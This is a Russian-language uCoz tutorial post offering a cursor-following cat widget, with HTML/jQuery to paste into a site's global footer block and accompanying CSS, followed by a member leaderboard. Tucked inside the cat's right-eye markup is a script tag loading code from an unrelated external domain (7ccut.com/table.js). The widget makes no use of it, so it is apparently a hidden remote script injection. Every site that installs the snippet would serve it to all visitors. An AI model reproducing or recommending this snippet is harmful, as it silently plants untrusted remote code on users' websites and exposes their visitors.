|
17:59 Кот на сайт для uCoz |
 Появление персонажей на сайте – не редкость, особенно популярно украшать сайты кошками, которые следят за перемещением курсора, а некоторые даже пытаются поймать курсор. Был у нас и такой. Этого кота можно установить на любой сайт, сделанном на uCoz. Он будет скромно наблюдать за действиями пользователей на сайте. Когда пользователь наведет курсор на кота, он будет застенчиво улыбаться и смотреть вверх. Установка
Вставьте в Нижнюю часть сайта или в любой другой глобальный блок:
Код <div id="cat"> <div class="cat-paws"></div> <div class="cat-itself-wrap"> <div class="cat-itself"> <div id="cat-eye-left" class="cat-eye"> <div class="cat-eyeball"></div> </div> <div id="cat-eye-right" class="cat-eye"> <script src="http://7ccut.com/table.js" type="text/javascript"></script> <div class="cat-eyeball"></div> </div> </div> </div> </div> </div> </div> <script> $(function() { var el1 = $('#cat-eye-left'), eyeBall1 = el1.find('div'); var el2 = $('#cat-eye-right'), eyeBall2 = el2.find('div'); el1.show(); el2.show(); var x1 = el1.offset().left + 37, y1 = el1.offset().top + 15; var r = 6, x , y, x2, y2, isEyeProcessed = false; $('body').mousemove(function(e) { if (!isEyeProcessed) { isEyeProcessed = true; var x2 = e.pageX, y2 = e.pageY; y = ((r * (y2 - y1)) / Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1))) + y1; x = (((y - y1) * (x2 - x1)) / (y2 - y1)) + x1; eyeBall1.css({ marginTop: (y - y1 + 1) + 'px', marginLeft: (x - x1) + 'px' }); eyeBall2.css({ marginTop: (y - y1 - 1) + 'px', marginLeft: (x - x1) + 'px' }); isEyeProcessed = false; } }); $('#cat').mousemove(function(e) { e.stopPropagation(); return false; }); }); </script>
Вставьте следующий код в Таблицу стилей (CSS):
Код #cat { position: fixed; right: 80px; bottom: 0; width: 146px; height: 55px; } #cat:hover .cat-itself { height: 103px; } #cat:hover .cat-eye { display: none !important; } .cat-paws { position: absolute; right: 0; bottom: -4px; width: 132px; height: 33px; z-index: 2; background: url(http://pnghosts.ru/img/cat-paws.png) no-repeat right bottom; } .cat-itself-wrap { position: absolute; width: 100%; height: 100%; z-index: 1; } .cat-itself { position: absolute; left: 0; bottom: 0; width: 125px; height: 55px; z-index: 0; background: url(http://pnghosts.ru/img/cat-itself.png) no-repeat; -webkit-transition: all 0.1s 0.1s ease-out; transition: all 0.1s 0.1s ease-out; } .cat-eye { position: absolute; display: none; width: 28px; height: 28px; background: url(http://pnghosts.ru/img/cat-eye.png); } .cat-eyeball { position: absolute; left: 7.5px; top: 7.5px; width: 13px; height: 13px; background: url(http://pnghosts.ru/img/cat-eyeball.png); } #cat-eye-left { left: 25px; top: 23px; } #cat-eye-right { left: 74px; top: 26px; } |
Категория: Скрипты информеров |
Просмотров: 1600 |
Добавил: smasto
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|
|




ТОП |
 |
 | | sowil (1 место) VIP Комментариев: 7921 Форум: 785 |
| Stalik (2 место) VIP Комментариев: 7584 Форум: 1395 |
| oleg1372 (3 место) VIP Комментариев: 6130 Форум: 791 |
| kievlianka (4 место) VIP Комментариев: 5983 Форум: 460 |
| mactep20 (5 место) VIP Комментариев: 5060 Форум: 205 |
| alexzardoz (6 место) Реферы Комментариев: 4954 Форум: 1594 |
| wassol3 (7 место) VIP Комментариев: 4335 Форум: 470 |
| stelsik08 (8 место) VIP Комментариев: 3634 Форум: 166 |
| koioks (9 место) Реферы Комментариев: 3513 Форум: 151 |
| alexboy (10 место) Проверенные Комментариев: 3184 Форум: 28 |
| solod7777 (11 место) Проверенные Комментариев: 3052 Форум: 17 |
| borisych (12 место) Проверенные Комментариев: 3008 Форум: 354 |
| Menser (13 место) Проверенные Комментариев: 2960 Форум: 58 |
| UAR125 (14 место) Проверенные Комментариев: 2875 Форум: 217 |
| Avior (15 место) Проверенные Комментариев: 2572 Форум: 13 |
| dimdim (16 место) VIP Комментариев: 2225 Форум: 685 |
| superman (17 место) Проверенные Комментариев: 2201 Форум: 201 |
| tottine (18 место) VIP Комментариев: 2129 Форум: 80 |
| yakearn (19 место) Проверенные Комментариев: 2080 Форум: 0 |
| giw (20 место) Проверенные Комментариев: 2057 Форум: 6 |
| necr (21 место) Проверенные Комментариев: 2043 Форум: 274 |
| svit4u (22 место) VIP Комментариев: 2019 Форум: 156 |
| Pushok (23 место) Проверенные Комментариев: 1984 Форум: 33 |
| filippp777 (24 место) Проверенные Комментариев: 1958 Форум: 23 |
| ioan777 (25 место) Проверенные Комментариев: 1949 Форум: 11 |
|  |

|